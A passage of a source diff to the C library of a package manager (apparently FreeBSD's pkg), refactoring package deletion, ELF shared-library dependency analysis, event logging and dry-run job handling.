		packing_append_tree(pkg_archive, md_dir, NULL);
		packing_append_tree(pkg_archive, rootdir, "/");
	} else {
		pkg_create_from_dir(pkg, rootdir, pkg_archive);
@@ -180,8 +306,6 @@ pkg_create_fakeroot(const char *outdir, pkg_formats format, const char *rootdir,
cleanup:
	if (pkg != NULL)
		free(pkg);
-
	if (manifest_path != NULL)
-
		free(manifest_path);
	if (manifest != NULL)
		free(manifest);
	if (ret == EPKG_OK)
@@ -190,12 +314,13 @@ cleanup:
}

int
-
pkg_create_installed(const char *outdir, pkg_formats format, const char *rootdir, struct pkg *pkg)
+
pkg_create_installed(const char *outdir, pkg_formats format,
+
    const char *rootdir, struct pkg *pkg)
{
-
	struct packing *pkg_archive;
-
	int required_flags = PKG_LOAD_DEPS | PKG_LOAD_FILES | PKG_LOAD_CATEGORIES |
-
	    PKG_LOAD_DIRS | PKG_LOAD_SCRIPTS | PKG_LOAD_OPTIONS |
-
	    PKG_LOAD_MTREE | PKG_LOAD_LICENSES ;
+
	struct packing	*pkg_archive;
+
	unsigned	 required_flags = PKG_LOAD_DEPS | PKG_LOAD_FILES |
+
		PKG_LOAD_CATEGORIES | PKG_LOAD_DIRS | PKG_LOAD_SCRIPTS |
+
		PKG_LOAD_OPTIONS | PKG_LOAD_MTREE | PKG_LOAD_LICENSES ;

	assert(pkg->type == PKG_INSTALLED);

modified libpkg/pkg_delete.c
@@ -39,12 +39,12 @@
#include "private/utils.h"

int
-
pkg_delete(struct pkg *pkg, struct pkgdb *db, int flags)
+
pkg_delete(struct pkg *pkg, struct pkgdb *db, unsigned flags)
{
-
	struct pkg_dep *rdep = NULL;
-
	int ret;
-
	bool handle_rc = false;
-
	const char *origin;
+
	struct pkg_dep	*rdep = NULL;
+
	int		 ret;
+
	bool		 handle_rc = false;
+
	const char	*origin;

	assert(pkg != NULL);
	assert(db != NULL);
@@ -77,7 +77,7 @@ pkg_delete(struct pkg *pkg, struct pkgdb *db, int flags)
	/* If there are dependencies */
	if (pkg_rdeps(pkg, &rdep) == EPKG_OK) {
		pkg_emit_required(pkg, flags & PKG_DELETE_FORCE);
-
		if (flags ^ PKG_DELETE_FORCE)
+
		if ((flags & PKG_DELETE_FORCE) == 0)
			return (EPKG_REQUIRED);
	}

@@ -90,24 +90,29 @@ pkg_delete(struct pkg *pkg, struct pkgdb *db, int flags)
		pkg_start_stop_rc_scripts(pkg, PKG_RC_STOP);

	if (flags & PKG_DELETE_UPGRADE) {
-
		if (( ret = pkg_script_run(pkg, PKG_SCRIPT_PRE_UPGRADE)) != EPKG_OK )
+
		ret = pkg_script_run(pkg, PKG_SCRIPT_PRE_UPGRADE);
+
		if (ret != EPKG_OK)
			return (ret);
	} else {
-
		if ((ret = pkg_script_run(pkg, PKG_SCRIPT_PRE_DEINSTALL)) != EPKG_OK)
+
		ret = pkg_script_run(pkg, PKG_SCRIPT_PRE_DEINSTALL);
+
		if (ret != EPKG_OK)
			return (ret);
	}

	if ((ret = pkg_delete_files(pkg, flags & PKG_DELETE_FORCE)) != EPKG_OK)
		return (ret);

-
	if (flags ^ PKG_DELETE_UPGRADE)
-
		if ((ret = pkg_script_run(pkg, PKG_SCRIPT_POST_DEINSTALL)) != EPKG_OK)
+
	if ((flags & PKG_DELETE_UPGRADE) == 0) {
+
		ret = pkg_script_run(pkg, PKG_SCRIPT_POST_DEINSTALL);
+
		if (ret != EPKG_OK)
			return (ret);
+
	}

-
	if ((ret = pkg_delete_dirs(db, pkg, flags & PKG_DELETE_FORCE)) != EPKG_OK)
+
	ret = pkg_delete_dirs(db, pkg, flags & PKG_DELETE_FORCE);
+
	if (ret != EPKG_OK)
		return (ret);

-
	if (flags ^ PKG_DELETE_UPGRADE)
+
	if ((flags & PKG_DELETE_UPGRADE) == 0)
		pkg_emit_deinstall_finished(pkg);

	pkg_get(pkg, PKG_ORIGIN, &origin);
@@ -115,26 +120,28 @@ pkg_delete(struct pkg *pkg, struct pkgdb *db, int flags)
}

int
-
pkg_delete_files(struct pkg *pkg, int force)
+
pkg_delete_files(struct pkg *pkg, bool force)
{
-
	struct pkg_file *file = NULL;
-
	char sha256[SHA256_DIGEST_LENGTH * 2 + 1];
-
	const char *path;
+
	struct pkg_file	*file = NULL;
+
	char		 sha256[SHA256_DIGEST_LENGTH * 2 + 1];
+
	const char	*path;

	while (pkg_files(pkg, &file) == EPKG_OK) {
+
		const char *sum = pkg_file_cksum(file);
+

		if (file->keep == 1)
			continue;

-
		path = pkg_file_get(file, PKG_FILE_PATH);
+
		path = pkg_file_path(file);

		/* Regular files and links */
		/* check sha256 */
-
		if (!force && pkg_file_get(file, PKG_FILE_SUM)[0] != '\0') {
+
		if (!force && sum[0] != '\0') {
			if (sha256_file(path, sha256) != EPKG_OK)
				continue;
-
			if (strcmp(sha256, pkg_file_get(file, PKG_FILE_SUM)) != 0) {
-
				pkg_emit_error("%s fails original SHA256 checksum,"
-
							   " not removing", path);
+
			if (strcmp(sha256, sum)) {
+
				pkg_emit_error("%s fails original SHA256 "
+
				    "checksum, not removing", path);
				continue;
			}
		}
@@ -149,32 +156,20 @@ pkg_delete_files(struct pkg *pkg, int force)
}

int
-
pkg_delete_dirs(__unused struct pkgdb *db, struct pkg *pkg, int force)
+
pkg_delete_dirs(__unused struct pkgdb *db, struct pkg *pkg, bool force)
{
-
	struct pkg_dir *dir = NULL;
-
/*	int64_t nbpackage; */
+
	struct pkg_dir	*dir = NULL;

	while (pkg_dirs(pkg, &dir) == EPKG_OK) {
		if (dir->keep == 1)
			continue;

-
		/* 
-
		 * To reactivate when stage install will be in otherwise
-
		 * This code left cruft on server because sometime package 
-
		 */
-
/*		nbpackage = 0;
-

-
		if (pkgdb_is_dir_used(db, pkg_dir_path(dir), &nbpackage) != EPKG_OK) 
-
			return (EPKG_FATAL);
-

-
		if (nbpackage > 1)
-
			continue; */
-

		if (pkg_dir_try(dir)) {
-
			if (rmdir(pkg_dir_path(dir)) == -1 && errno != ENOTEMPTY && force != 1)
+
			if (rmdir(pkg_dir_path(dir)) == -1 &&
+
			    errno != ENOTEMPTY && !force)
				pkg_emit_errno("rmdir", pkg_dir_path(dir));
		} else {
-
			if (rmdir(pkg_dir_path(dir)) == -1 && force != 1)
+
			if (rmdir(pkg_dir_path(dir)) == -1 && !force)
				pkg_emit_errno("rmdir", pkg_dir_path(dir));
		}
	}
modified libpkg/pkg_elf.c
@@ -1,5 +1,6 @@
/*
 * Copyright (c) 2011-2012 Baptiste Daroussin <bapt@FreeBSD.org>
+
 * Copyright (c) 2012 Matthew Seaman <matthew@FreeBSD.org>
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
@@ -29,90 +30,137 @@
#include <sys/elf_common.h>
#include <sys/stat.h>

-
#include <ctype.h>
#include <assert.h>
-
#include <fcntl.h>
+
#include <ctype.h>
#include <dlfcn.h>
+
#include <elf-hints.h>
+
#include <err.h>
+
#include <fcntl.h>
#include <gelf.h>
#include <link.h>
#include <stdbool.h>
-
#include <unistd.h>
#include <string.h>
+
#include <unistd.h>

#include "pkg.h"
#include "private/pkg.h"
#include "private/event.h"
#include "private/elf_tables.h"
+
#include "private/ldconfig.h"
+

+
/* FFR: when we support installing a 32bit package on a 64bit host */
+
#define _PATH_ELF32_HINTS       "/var/run/ld-elf32.so.hints"
+

+
static int
+
filter_system_shlibs(const char *name, char *path, size_t pathlen)
+
{
+
	const char *shlib_path;
+

+
	shlib_path = shlib_list_find_by_name(name);
+
	if (shlib_path == NULL) {
+
		return (EPKG_FATAL);
+
	}
+

+
	/* match /lib, /lib32, /usr/lib and /usr/lib32 */
+
	if (strncmp(shlib_path, "/lib", 4) == 0 ||
+
	    strncmp(shlib_path, "/usr/lib", 7) == 0)
+
		return (EPKG_END); /* ignore libs from base */
+

+
	if (path != NULL)
+
		strncpy(path, shlib_path, pathlen);
+

+
	return (EPKG_OK);
+
} 
+

+
/* Callback functions to process the shlib data */

+
/* ARGSUSED */
static int
-
test_depends(struct pkgdb *db, struct pkg *pkg, const char *name)
+
do_nothing(__unused void *actdata, __unused struct pkg *pkg,
+
	   __unused const char *name)
{
+
	return (EPKG_OK);
+
}
+

+
/* ARGSUSED */
+
static int
+
add_shlibs_to_pkg(__unused void *actdata, struct pkg *pkg, const char *name)
+
{
+
	switch(filter_system_shlibs(name, NULL, 0)) {
+
	case EPKG_OK:		/* A non-system library */
+
		pkg_addshlib(pkg, name);
+
		return (EPKG_OK);
+
	case EPKG_END:		/* A system library */
+
		return (EPKG_OK);
+
	default:
+
		warnx("(%s-%s) shared library %s not found", pkg_name(pkg),
+
		      pkg_version(pkg), name);
+
		return (EPKG_FATAL);
+
	}
+
}
+

+
static int
+
test_depends(void *actdata, struct pkg *pkg, const char *name)
+
{
+
	struct pkgdb *db = actdata;
	struct pkg_dep *dep = NULL;
	struct pkgdb_it *it = NULL;
	struct pkg *d;
-
	Link_map *map;
	const char *deporigin, *depname, *depversion;
+
	char pathbuf[MAXPATHLEN];
	bool found;
-
	void *handle;
	bool shlibs = false;
-
	bool autodeps = false;

-
	pkg_config_bool(PKG_CONFIG_AUTODEPS, &autodeps);
-
	pkg_config_bool(PKG_CONFIG_SHLIBS, &shlibs);
-

-
	if ((handle = dlopen(name, RTLD_LAZY)) == NULL) {
-
		pkg_emit_error("accessing shared library %s failed -- %s", name, dlerror());
-
		return (EPKG_FATAL);
-
	}
+
	assert(db != NULL);

-
	dlinfo(handle, RTLD_DI_LINKMAP, &map);
+
	pkg_config_bool(PKG_CONFIG_SHLIBS, &shlibs);

-
	/* match /lib, /lib32, /usr/lib and /usr/lib32 */
-
	if (strncmp(map->l_name, "/lib", 4) == 0 || strncmp(map->l_name, "/usr/lib", 7) == 0) {
-
		/* ignore libs from base */
-
		dlclose(handle);
+
	switch(filter_system_shlibs(name, pathbuf, sizeof(pathbuf))) {
+
	case EPKG_OK:		/* A non-system library */
+
		break;
+
	case EPKG_END:		/* A system library */
		return (EPKG_OK);
+
	default:
+
		warnx("(%s-%s) shared library %s not found", pkg_name(pkg),
+
		      pkg_version(pkg), name);
+
		return (EPKG_FATAL);
	}

	if (shlibs)
		pkg_addshlib(pkg, name);

-
	if (!autodeps) {
-
		dlclose(handle);
+
	if ((it = pkgdb_query_which(db, pathbuf)) == NULL)
		return (EPKG_OK);
-
	}

-
	if ((it = pkgdb_query_which(db, map->l_name)) == NULL) {
-
		dlclose(handle);
-
		return (EPKG_OK);
-
	}
	d = NULL;
	if (pkgdb_it_next(it, &d, PKG_LOAD_BASIC) == EPKG_OK) {
		found = false;
-
		pkg_get(d, PKG_ORIGIN, &deporigin, PKG_NAME, &depname, PKG_VERSION, &depversion);
+
		pkg_get(d, PKG_ORIGIN, &deporigin, PKG_NAME, &depname,
+
		    PKG_VERSION, &depversion);

		dep = NULL;
		found = false;
		while (pkg_deps(pkg, &dep) == EPKG_OK) {
-
			if (strcmp(pkg_dep_get(dep, PKG_DEP_ORIGIN), deporigin) == 0) {
+
			if (strcmp(pkg_dep_origin(dep), deporigin) == 0) {
				found = true;
				break;
			}
		}
		if (!found) {
			pkg_emit_error("adding forgotten depends (%s): %s-%s",
-
					map->l_name, depname, depversion);
+
					pathbuf, depname, depversion);
			pkg_adddep(pkg, depname, deporigin, depversion);
		}
		pkg_free(d);
	}
-
	dlclose(handle);
+

	pkgdb_it_free(it);
	return (EPKG_OK);
}

static int
-
analyse_elf(struct pkgdb *db, struct pkg *pkg, const char *fpath)
+
analyse_elf(struct pkg *pkg, const char *fpath, 
+
    int (action)(void *, struct pkg *, const char *), void *actdata)
{
	Elf *e = NULL;
	GElf_Ehdr elfhdr;
@@ -130,6 +178,14 @@ analyse_elf(struct pkgdb *db, struct pkg *pkg, const char *fpath)
	size_t dynidx;
	const char *osname;

+
	bool shlibs = false;
+
	bool autodeps = false;
+
	bool developer = false;
+

+
	pkg_config_bool(PKG_CONFIG_AUTODEPS, &autodeps);
+
	pkg_config_bool(PKG_CONFIG_SHLIBS, &shlibs);
+
	pkg_config_bool(PKG_CONFIG_DEVELOPER_MODE, &developer);
+

	int fd;

	if ((fd = open(fpath, O_RDONLY, 0)) < 0) {
@@ -143,9 +199,10 @@ analyse_elf(struct pkgdb *db, struct pkg *pkg, const char *fpath)
		goto cleanup;
	}

-
	if (( e = elf_begin(fd, ELF_C_READ, NULL)) == NULL) {
+
	if ((e = elf_begin(fd, ELF_C_READ, NULL)) == NULL) {
		ret = EPKG_FATAL;
-
		pkg_emit_error("elf_begin() for %s failed: %s", fpath, elf_errmsg(-1)); 
+
		pkg_emit_error("elf_begin() for %s failed: %s", fpath,
+
		    elf_errmsg(-1));
		goto cleanup;
	}

@@ -154,26 +211,36 @@ analyse_elf(struct pkgdb *db, struct pkg *pkg, const char *fpath)
		return (EPKG_END); /* Not an elf file: no results */
	}

+
	if (developer)
+
		pkg->flags |= PKG_CONTAINS_ELF_OBJECTS;
+

+
	if (!autodeps && !shlibs) {
+
	   ret = EPKG_OK;
+
	   goto cleanup;
+
	}
+

	if (gelf_getehdr(e, &elfhdr) == NULL) {
		ret = EPKG_FATAL;
		pkg_emit_error("getehdr() failed: %s.", elf_errmsg(-1));
		goto cleanup;
	}

-
	while (( scn = elf_nextscn(e, scn)) != NULL) {
+
	while ((scn = elf_nextscn(e, scn)) != NULL) {
		if (gelf_getshdr(scn, &shdr) != &shdr) {
			ret = EPKG_FATAL;
-
			pkg_emit_error("getshdr() for %s failed: %s", fpath, elf_errmsg(-1));
+
			pkg_emit_error("getshdr() for %s failed: %s", fpath,
+
			    elf_errmsg(-1));
			goto cleanup;
		}
		switch (shdr.sh_type) {
-
			case SHT_NOTE:
-
				note = scn;
-
				break;
-
			case SHT_DYNAMIC:
-
				dynamic = scn;
-
				sh_link = shdr.sh_link;
-
				numdyn = shdr.sh_size / shdr.sh_entsize;
+
		case SHT_NOTE:
+
			note = scn;
+
			break;
+
		case SHT_DYNAMIC:
+
			dynamic = scn;
+
			sh_link = shdr.sh_link;
+
			numdyn = shdr.sh_size / shdr.sh_entsize;
+
			break;
		}

		if (note != NULL && dynamic != NULL)
@@ -181,15 +248,14 @@ analyse_elf(struct pkgdb *db, struct pkg *pkg, const char *fpath)
	}

	/*
-
	 * note == NULL means no freebsd
-
	 * dynamic == NULL means not a dynamic linked elf
+
	 * note == NULL usually means a shared object for use with dlopen(3)
+
	 * dynamic == NULL means not a dynamically linked elf
	 */
	if (dynamic == NULL) {
		ret = EPKG_END;
		goto cleanup; /* not a dynamically linked elf: no results */
	}

-
	/* some freebsd binaries don't have notes like some perl modules */
	if (note != NULL) {
		data = elf_getdata(note, NULL);
		osname = (const char *) data->d_buf + sizeof(Elf_Note);
@@ -206,50 +272,164 @@ analyse_elf(struct pkgdb *db, struct pkg *pkg, const char *fpath)

	data = elf_getdata(dynamic, NULL);

+
	/* First, scan through the data from the .dynamic section to
+
	   find any RPATH or RUNPATH settings.  These are colon
+
	   separated paths to prepend to the ld.so search paths from
+
	   the ELF hints file.  These always seem to come right after
+
	   the NEEDED entries */
+

+
	rpath_list_init();
	for (dynidx = 0; dynidx < numdyn; dynidx++) {
		if ((dyn = gelf_getdyn(data, dynidx, &dyn_mem)) == NULL) {
			ret = EPKG_FATAL;
-
			pkg_emit_error("getdyn() failed for %s: %s", fpath, elf_errmsg(-1)); 
+
			pkg_emit_error("getdyn() failed for %s: %s", fpath,
+
			    elf_errmsg(-1));
+
			goto cleanup;
+
		}
+

+
		if (dyn->d_tag != DT_RPATH && dyn->d_tag != DT_RUNPATH)
+
			continue;
+

+
		shlib_list_from_rpath(elf_strptr(e, sh_link, dyn->d_un.d_val));
+
		break;
+
	}
+

+
	/* Now find all of the NEEDED shared libraries */
+

+
	for (dynidx = 0; dynidx < numdyn; dynidx++) {
+
		if ((dyn = gelf_getdyn(data, dynidx, &dyn_mem)) == NULL) {
+
			ret = EPKG_FATAL;
+
			pkg_emit_error("getdyn() failed for %s: %s", fpath,
+
			    elf_errmsg(-1));
			goto cleanup;
		}

		if (dyn->d_tag != DT_NEEDED)
			continue;

-
		test_depends(db, pkg, elf_strptr(e, sh_link, dyn->d_un.d_val));
+
		action(actdata, pkg, elf_strptr(e, sh_link, dyn->d_un.d_val));
	}

cleanup:
-
	if ( e != NULL)
+
	rpath_list_free();
+

+
	if (e != NULL)
		elf_end(e);
	close(fd);

	return (ret);
}

+
static int
+
analyse_fpath(struct pkg *pkg, const char *fpath)
+
{
+
	const char *dot;
+

+
	dot = strrchr(fpath, '.');
+

+
	if (dot == NULL)	/* No extension */
+
		return (EPKG_OK);
+

+
	if (dot[1] == 'a' && dot[2] == '\0')
+
		pkg->flags |= PKG_CONTAINS_STATIC_LIBS;
+

+
	if ((dot[1] == 'l' && dot[2] == 'a' && dot[3] == '\0') ||
+
	    (dot[1] == 'h' && dot[2] == '\0'))
+
		pkg->flags |= PKG_CONTAINS_H_OR_LA;
+

+
	return (EPKG_OK);
+
}
+

int
pkg_analyse_files(struct pkgdb *db, struct pkg *pkg)
{
	struct pkg_file *file = NULL;
	int ret = EPKG_OK;
+
	const char *fpath;
	bool shlibs = false;
	bool autodeps = false;
+
	bool developer = false;
+
	int (*action)(void *, struct pkg *, const char *);

	pkg_config_bool(PKG_CONFIG_SHLIBS, &shlibs);
	pkg_config_bool(PKG_CONFIG_AUTODEPS, &autodeps);
+
	pkg_config_bool(PKG_CONFIG_DEVELOPER_MODE, &developer);

-
	if (!autodeps && !shlibs)
+
	if (!autodeps && !shlibs && !developer)
		return (EPKG_OK);

	if (elf_version(EV_CURRENT) == EV_NONE)
		return (EPKG_FATAL);

-
	while (pkg_files(pkg, &file) == EPKG_OK)
-
		analyse_elf(db, pkg, pkg_file_get(file, PKG_FILE_PATH));
+
	if (autodeps)
+
		action = test_depends;
+
	else if (shlibs)
+
		action = add_shlibs_to_pkg;
+
	else
+
		action = do_nothing;
+

+
	if (autodeps || shlibs) {
+
		shlib_list_init();
+

+
		ret = shlib_list_from_elf_hints(_PATH_ELF_HINTS);
+
		if (ret != EPKG_OK)
+
			goto cleanup;
+
	}
+

+
	/* Assume no architecture dependence, for contradiction */
+
	if (developer)
+
		pkg->flags &= ~(PKG_CONTAINS_ELF_OBJECTS |
+
				PKG_CONTAINS_STATIC_LIBS |
+
				PKG_CONTAINS_H_OR_LA);
+

+
	while (pkg_files(pkg, &file) == EPKG_OK) {
+
		fpath = pkg_file_path(file);
+
		ret = analyse_elf(pkg, fpath, action, db);
+
		if (developer) {
+
			if (ret != EPKG_OK && ret != EPKG_END)
+
				goto cleanup;
+
			analyse_fpath(pkg, fpath);
+
		}
+
	}
+

+
	ret = EPKG_OK;
+

+
cleanup:
+
	if (autodeps || shlibs)
+
		shlib_list_free();

	return (ret);
}

+
int
+
pkg_register_shlibs(struct pkg *pkg)
+
{
+
	struct pkg_file        *file = NULL;
+
	bool			shlibs;
+

+
	pkg_config_bool(PKG_CONFIG_SHLIBS, &shlibs);
+

+
	pkg_list_free(pkg, PKG_SHLIBS);
+

+
	if (!shlibs)
+
		return (EPKG_OK);
+

+
	if (elf_version(EV_CURRENT) == EV_NONE)
+
		return (EPKG_FATAL);
+

+
	shlib_list_init();
+
	if (shlib_list_from_elf_hints(_PATH_ELF_HINTS) != EPKG_OK) {
+
		shlib_list_free();
+
		return (EPKG_FATAL);
+
	}
+

+
	while(pkg_files(pkg, &file) == EPKG_OK)
+
		analyse_elf(pkg, pkg_file_path(file), add_shlibs_to_pkg, NULL);
+

+
	shlib_list_free();
+
	return (EPKG_OK);
+
}
+

static const char *
elf_corres_to_string(struct _elf_corres* m, int e)
{
@@ -262,7 +442,6 @@ elf_corres_to_string(struct _elf_corres* m, int e)
	return ("unknown");
}

-

int
pkg_get_myarch(char *dest, size_t sz)
{
@@ -278,10 +457,11 @@ pkg_get_myarch(char *dest, size_t sz)
	uint32_t version = 0;
	int ret = EPKG_OK;
	int i;
-
	const char *abi;
+
	const char *abi, *endian_corres_str, *wordsize_corres_str;

	if (elf_version(EV_CURRENT) == EV_NONE) {
-
		pkg_emit_error("ELF library initialization failed: %s", elf_errmsg(-1));
+
		pkg_emit_error("ELF library initialization failed: %s",
+
		    elf_errmsg(-1));
		return (EPKG_FATAL);
	}

@@ -293,7 +473,7 @@ pkg_get_myarch(char *dest, size_t sz)

	if ((elf = elf_begin(fd, ELF_C_READ, NULL)) == NULL) {
		ret = EPKG_FATAL;
-
		pkg_emit_error("elf_begin() failed: %s.", elf_errmsg(-1)); 
+
		pkg_emit_error("elf_begin() failed: %s.", elf_errmsg(-1));
		goto cleanup;
	}

@@ -339,44 +519,55 @@ pkg_get_myarch(char *dest, size_t sz)
	for (i = 0; osname[i] != '\0'; i++)
		osname[i] = (char)tolower(osname[i]);

+
	wordsize_corres_str = elf_corres_to_string(wordsize_corres,
+
	    (int)elfhdr.e_ident[EI_CLASS]);
+

	snprintf(dest, sz, "%s:%d:%s:%s",
-
	    osname,
-
	    version / 100000,
+
	    osname, version / 100000,
	    elf_corres_to_string(mach_corres, (int) elfhdr.e_machine),
-
	    elf_corres_to_string(wordsize_corres, (int)elfhdr.e_ident[EI_CLASS]));
+
	    wordsize_corres_str);

	switch (elfhdr.e_machine) {
-
		case EM_ARM:
-
			snprintf(dest + strlen(dest), sz - strlen(dest), ":%s:%s:%s",
-
			    elf_corres_to_string(endian_corres, (int) elfhdr.e_ident[EI_DATA]),
-
			    (elfhdr.e_flags & EF_ARM_NEW_ABI) > 0 ? "eabi" : "oabi",
-
			    (elfhdr.e_flags & EF_ARM_VFP_FLOAT) > 0 ? "softfp" : "vfp");
-
			break;
-
		case EM_MIPS:
-
			/*
-
			 * this is taken from binutils sources:
-
			 * include/elf/mips.h
-
			 * mapping is figured out from binutils:
-
			 * gas/config/tc-mips.c
-
			 */
-
			switch (elfhdr.e_flags & EF_MIPS_ABI) {
-
				case E_MIPS_ABI_O32:
+
	case EM_ARM:
+
		endian_corres_str = elf_corres_to_string(endian_corres,
+
		    (int)elfhdr.e_ident[EI_DATA]);
+

+
		snprintf(dest + strlen(dest), sz - strlen(dest), ":%s:%s:%s",
+
		    endian_corres_str,
+
		    (elfhdr.e_flags & EF_ARM_NEW_ABI) > 0 ? "eabi" : "oabi",
+
		    (elfhdr.e_flags & EF_ARM_VFP_FLOAT) > 0 ? "softfp" : "vfp");
+
		break;
+
	case EM_MIPS:
+
		/*
+
		 * this is taken from binutils sources:
+
		 * include/elf/mips.h
+
		 * mapping is figured out from binutils:
+
		 * gas/config/tc-mips.c
+
		 */
+
		switch (elfhdr.e_flags & EF_MIPS_ABI) {
+
			case E_MIPS_ABI_O32:
+
				abi = "o32";
+
				break;
+
			case E_MIPS_ABI_N32:
+
				abi = "n32";
+
				break;
+
			default:
+
				if (elfhdr.e_ident[EI_DATA] == ELFCLASS32)
					abi = "o32";
-
					break;
-
				case E_MIPS_ABI_N32:
-
					abi = "n32";
-
					break;
-
				default:
-
					if (elfhdr.e_ident[EI_DATA] == ELFCLASS32)
-
						abi = "o32";
-
					else if (elfhdr.e_ident[EI_DATA] == ELFCLASS64)
-
						abi = "n64";
-
					break;
-
			}
-
			snprintf(dest + strlen(dest), sz - strlen(dest), ":%s:%s",
-
			    elf_corres_to_string(endian_corres, (int) elfhdr.e_ident[EI_DATA]),
-
			    abi);
-
			break;
+
				else if (elfhdr.e_ident[EI_DATA] == ELFCLASS64)
+
					abi = "n64";
+
				else
+
					abi = "unknown";
+
				break;
+
		}
+
		endian_corres_str = elf_corres_to_string(endian_corres,
+
		    (int)elfhdr.e_ident[EI_DATA]);
+

+
		snprintf(dest + strlen(dest), sz - strlen(dest), ":%s:%s",
+
		    endian_corres_str, abi);
+
		break;
+
	default:
+
		break;
	}

cleanup:
@@ -386,3 +577,41 @@ cleanup:
	close(fd);
	return (ret);
}
+

+
int
+
pkg_suggest_arch(struct pkg *pkg, const char *arch, bool isdefault)
+
{
+
	bool iswildcard;
+

+
	iswildcard = (strchr(arch, 'c') != NULL);
+

+
	if (iswildcard && isdefault)
+
		pkg_emit_error("Configuration error: arch \"%s\" cannot use "
+
		    "wildcards as default", arch);
+

+
	if (pkg->flags & (PKG_CONTAINS_ELF_OBJECTS|PKG_CONTAINS_STATIC_LIBS)) {
+
		if (iswildcard) {
+
			/* Definitely has to be arch specific */
+
			pkg_emit_error("Error: arch \"%s\" -- package installs "
+
			    "architecture specific files", arch);
+
		}
+
	} else {
+
		if (pkg->flags & PKG_CONTAINS_H_OR_LA) {
+
			if (iswildcard) {
+
				/* Could well be arch specific */
+
				pkg_emit_error("Warning: arch \"%s\" -- package"
+
				    " installs C/C++ headers or libtool "
+
				    "files,\n**** which are often architecture "
+
				    "specific", arch);
+
			}
+
		} else {
+
			/* Might be arch independent */
+
			if (!iswildcard)
+
				pkg_emit_error("Notice: arch \"%s\" -- no "
+
				    "architecture specific files found:\n"
+
				    "**** could this package use a wildcard "
+
				    "architecture?", arch);
+
		}
+
	}
+
	return (EPKG_OK);
+
}
modified libpkg/pkg_event.c
@@ -64,6 +64,22 @@ pkg_emit_error(const char *fmt, ...)
}

void
+
pkg_emit_developer_mode(const char *fmt, ...)
+
{
+
	struct pkg_event ev;
+
	va_list ap;
+

+
	ev.type = PKG_EVENT_DEVELOPER_MODE;
+

+
	va_start(ap, fmt);
+
	vasprintf(&ev.e_pkg_error.msg, fmt, ap);
+
	va_end(ap);
+

+
	pkg_emit_event(&ev);
+
	free(ev.e_pkg_error.msg);
+
}
+

+
void
pkg_emit_errno(const char *func, const char *arg)
{
	struct pkg_event ev;
@@ -201,18 +217,18 @@ pkg_emit_upgrade_finished(struct pkg *p)

	pkg_config_bool(PKG_CONFIG_SYSLOG, &syslog_enabled);
	if (syslog_enabled) {
-
		pkg_get(p, PKG_NAME, &name, PKG_VERSION, &version, PKG_NEWVERSION, &newversion);
-
		switch (pkg_version_cmp(version, newversion)) {
-
			case 1:
-
				syslog(LOG_NOTICE, "%s downgraded: %s -> %s ", name, version, newversion);
-
				break;
-
			case 0:
-
				syslog(LOG_NOTICE, "%s reinstalled: %s -> %s ", name, version, newversion);
-
				break;
-
			case -1:
-
				syslog(LOG_NOTICE, "%s upgraded: %s -> %s ", name, version, newversion);
-
				break;
-
		}
+
		const char *actions[] = {
+
		    "upgraded", "reinstalled", "downgraded"
+
		};
+
		int num_actions = sizeof(actions) / sizeof(*actions);
+
		int action;
+

+
		pkg_get(p, PKG_NAME, &name, PKG_VERSION, &version,
+
		    PKG_NEWVERSION, &newversion);
+
		action = pkg_version_cmp(version, newversion) + 1;
+
		if (action >= 0 && action < num_actions)
+
			syslog(LOG_NOTICE, "%s %s: %s -> %s ",
+
			    name, actions[action], version, newversion);
	}

	pkg_emit_event(&ev);
modified libpkg/pkg_jobs.c
@@ -44,12 +44,13 @@
static int pkg_jobs_fetch(struct pkg_jobs *j);

int
-
pkg_jobs_new(struct pkg_jobs **j, pkg_jobs_t t, struct pkgdb *db)
+
pkg_jobs_new(struct pkg_jobs **j, pkg_jobs_t t, struct pkgdb *db, bool force,
+
	     bool dry_run)
{
	assert(db != NULL);
	assert(t != PKG_JOBS_INSTALL || db->type == PKGDB_REMOTE);

-
	if (pkgdb_lock(db) != EPKG_OK)
+
	if (!dry_run && pkgdb_lock(db) != EPKG_OK)
		return (EPKG_FATAL);

	if ((*j = calloc(1, sizeof(struct pkg_jobs))) == NULL) {
@@ -60,6 +61,10 @@ pkg_jobs_new(struct pkg_jobs **j, pkg_jobs_t t, struct pkgdb *db)
	STAILQ_INIT(&(*j)->jobs);
	(*j)->db = db;
	(*j)->type = t;
+
	if (dry_run)
+
		(*j)->flags |= PKG_JOB_FLAGS_DRY_RUN;
+
	if (force)
+
		(*j)->flags |= PKG_JOB_FLAGS_FORCE;

	return (EPKG_OK);
}
@@ -72,7 +77,8 @@ pkg_jobs_free(struct pkg_jobs *j)
	if (j == NULL)
		return;

-
	pkgdb_unlock(j->db);
+
	if ((j->flags & PKG_JOB_FLAGS_DRY_RUN) == 0)
+
		pkgdb_unlock(j->db);

	while (!STAILQ_EMPTY(&j->jobs)) {
		p = STAILQ_FIRST(&j->jobs);
@@ -129,7 +135,7 @@ pkg_jobs_keep_files_to_del(struct pkg *p1, struct pkg *p2)

		f2 = NULL;
		while (pkg_files(p2, &f2) == EPKG_OK) {
-
			if (strcmp(pkg_file_get(f1, PKG_FILE_PATH), pkg_file_get(f2, PKG_FILE_PATH)) == 0) {
+
			if (strcmp(pkg_file_path(f1), pkg_file_path(f2)) == 0) {
				f1->keep = 1;
				break;
			}
@@ -152,7 +158,7 @@ pkg_jobs_keep_files_to_del(struct pkg *p1, struct pkg *p2)
}

static int
-
pkg_jobs_install(struct pkg_jobs *j, bool force)
+
pkg_jobs_install(struct pkg_jobs *j)
{
	struct pkg *p = NULL;
	struct pkg *pkg = NULL;
@@ -164,7 +170,8 @@ pkg_jobs_install(struct pkg_jobs *j, bool force)
	const char *cachedir = NULL;
	int flags = 0;
	int retcode = EPKG_FATAL;
-

+
	int lflags = PKG_LOAD_BASIC | PKG_LOAD_FILES | PKG_LOAD_SCRIPTS |
+
	    PKG_LOAD_DIRS;
	bool handle_rc = false;

	STAILQ_INIT(&pkg_queue);
@@ -176,6 +183,8 @@ pkg_jobs_install(struct pkg_jobs *j, bool force)
	if (pkg_config_string(PKG_CONFIG_CACHEDIR, &cachedir) != EPKG_OK)
		return (EPKG_FATAL);
	
+
	pkg_config_bool(PKG_CONFIG_HANDLE_RC_SCRIPTS, &handle_rc);
+

	p = NULL;
	/* Install */
	sql_exec(j->db->sqlite, "SAVEPOINT upgrade;");
@@ -191,17 +200,19 @@ pkg_jobs_install(struct pkg_jobs *j, bool force)
			pkg = NULL;
			it = pkgdb_query(j->db, pkgorigin, MATCH_EXACT);
			if (it != NULL) {
-
